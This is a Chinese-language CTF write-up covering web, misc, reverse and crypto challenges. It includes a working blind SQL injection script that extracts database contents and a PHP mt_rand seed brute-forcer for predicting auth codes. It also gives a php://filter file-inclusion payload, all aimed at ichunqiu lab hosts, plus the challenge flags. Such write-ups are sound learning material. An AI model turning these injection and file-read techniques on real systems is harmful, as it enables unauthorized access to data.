WEB
Web1
很簡單直接上腳本
#_*_coding:utf-8_*_
import requests
import string
def get_content1(s):
flag=''
for i in range(1,50):
key=0
for j in range(32,127):
url = 'http://882f7dfa1dfa4a4db6a3f073371526c8d0a65024718440ce.game.ichunqiu.com/index.php?id='
add='(select ascii(substr(('+str(s)+'),'+str(i)+',1)) like '+str(j)+')'
tempurl=url+add
content = requests.get(tempurl).text.encode('utf-8')
if "Hacker" in content:
flag+=chr(j)
key=1
print flag
break
if key==0:
break
print flag
#get_content1("database()") #words
#get_content1("select schema_name from information_schema.schemata limit 0,1")
#words
#get_content1("select table_name from information_schema.tables where table_schema like 0x776f726473 limit 0,1")
#f14g
#get_content1("select column_name from information_schema.columns where table_name like 0x66313467 limit 0,1")
#f14g
get_content1("select f14g from f14g limit 0,1")
#flag{0fabacd1-fda2-4899-8cc5-711105c286f7}
Web2
上來看到以爲是git源碼泄露,但是並不是,結果是文件包含
http://e0c9660c9d3f4434a7e8590db1add9fa7466d50e0ff34c91.game.ichunqiu.com/index.php?action=index
<?php
include "function.php";
if(isset($_GET["action"])){
$page = addslashes($_GET["action"]);
}else{
$page = "home";
}
if(file_exists($page.'.php')){
$file = @file_get_contents($page.".php");
echo $file;
}
if(@$_GET["action"]=="album"){
if(isset($_GET["pid"])){
curl($_GET["pid"]);
}
}
?>
還有就是function.php,但是怎麼看都沒什麼東西啊…然後…試了試flag…我日…
存在flag.php…什麼題這是……
flag{10f11b07-8a72-499b-bdfc-67a04bd5ae9a}
Web300
首先果斷髮現robots.txt
zym代碼混淆…爲了圖快一些花了三塊錢解密了…
繞過index.php
//爆破種子的php腳本
<?php
$seed = rand(0, 99999);
mt_srand($seed);
function auth_code($length = 12, $special = true)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special) {
$chars .= '!@#$%^&*()';
}
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= substr($chars, mt_rand(0, strlen($chars)-1), 1);
}
return $password;
}
for ($i=0;$i<=99999;$i++){
mt_srand($i);
$key = auth_code(16, false);
if ($key=="aGPkppwibvZsQYOa"){
echo $i;
echo "\r\n";
echo auth_code(10, false);
break;
}
}
echo "\t\t\t\t\tDone!"
?>
//每次訪問的py腳本
#_*_coding:utf-8_*_
import requests
s= requests.session()
url = 'http://d4de32115fa848509dbbad47a9396e128b2be116befc42d1.game.ichunqiu.com/index.php'
data = {'private':"233"}
print s.post(url,data=data).text
input = raw_input('input pri : ')
print input
data = {'private':input}
print s.post(url,data=data).text
然後成功繞過了第一步!!!
第二部構造如下!!弱類型繞過!
但是寫在腳本里卻是失敗的,不知道爲什麼,可能和head不能傳參數有關?通過瀏覽器終於繞過!!!原來是他會變換url!
同時得到那個authAdmin值爲
2017CtfY0ulike
但是並沒有什麼卵用,file.php中的未知量和admin.php中不一樣
抓一下包得到真正的file.php的值1234567890x ,mmp…
構造如下
http://a68499148d2341be9d794b500a0a50aaa0bee6c0ec95417b.game.ichunqiu.com/file.php?id=php://filter/convert.base64-encode/resource=index.php|jpg
成功讀取…最後答案在flag.php裏!!!學習到了一波23333
Misc
簽到
下載一下App找一下就知道了
登機牌
一開始不知道是什麼,然後隊友補了一下二維碼,得到下圖
但是沒用,反而提示用binwalk去掃描一下,一下子引起了警覺
但是binwalk沒發現任何東西…
隊友想到了xor一下色調,掃描了一下下面的pdf714碼得到
不是flag,但是倒是想一個密碼,繼續找
搜索flag發現內容
一個神似rar的東西
然後成功打開!!!我們利用之前的密碼,解壓flag.pdf
Key:1921070120171018
得到flag
flag{Car3_Y0ur_Secret}
流量分析
http://blog.csdn.net/qq_35078631/article/details/78454260
Reverse
首先需要對nspack脫殼,然後寫個小腳本搞定
#_*_coding:utf-8_*_
s='this_is_not_flag'
a=[0x12,0x4,0x8,0x14,0x24,0x5C,0x4A,0x3D,0x56,0x0A,0x10,0x67,0x0,0x41,0x0,0x1,0x46,0x5A,0x44,0x42,0x6E,0x0C,0x44,0x72,0x0C,0x0D,0x40,0x3E,0x4B,0x5F,0x2,0x1,0x4C,0x5E,0x5B,0x17,0x6E,0x0C,0x16,0x68,0x5B,0x12,0,0,0x48,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
flag=''
for i in range(42):
for j in range(256):
if j^ord(s[i%16])==a[i]:
flag+=chr(j)
break
print flag
juckcode
這個題隊友做出了misc的感覺…你敢不敢信,全程沒有分析一步,就是靠替換flag內容硬生生得到了flag…
當然這得得益於大膽的猜想和觀察,發現輸出和輸入成線性關係…當然對能力沒有幫助大,幫助…
神隊友,請收下我的膝蓋…
flag{juck_code_cannot_stop_you_reversing}
事實上這個題目是考驗如何patch的,有小夥伴後面成功解出來了主要的需要patch的是pushed+poped和亂加call指令,防止靜態調試的。但是不影響ODB的調試,真心漲姿勢,後面再補回來
加密解密
第一題就好難…先是放到網上跑一個結果(詞頻統計啥的)
https://quipqiup.com/
然後是凱撒+base64…服了…
#_*_coding:utf-8_*_
import base64
s='LyjtL3fvnSRlo2xvKIjrK2ximSHkJ3ZhJ2Hto3x9'
for i in range(0,26):
flag=''
for j in s:
if ord(j)>=ord('a') and ord(j)<=ord('z'):
flag+=chr((ord(j)-ord('a')+i)%26+ord('a'))
elif ord(j)>=ord('A') and ord(j)<=ord('Z'):
flag+=chr((ord(j)-ord('A')+i)%26+ord('A'))
else:
flag+=j
print flag,base64.b64decode(flag)
flag{classical_cipher_so_easy}
Is_aes_security
http://blog.csdn.net/qq_35078631/article/details/78484980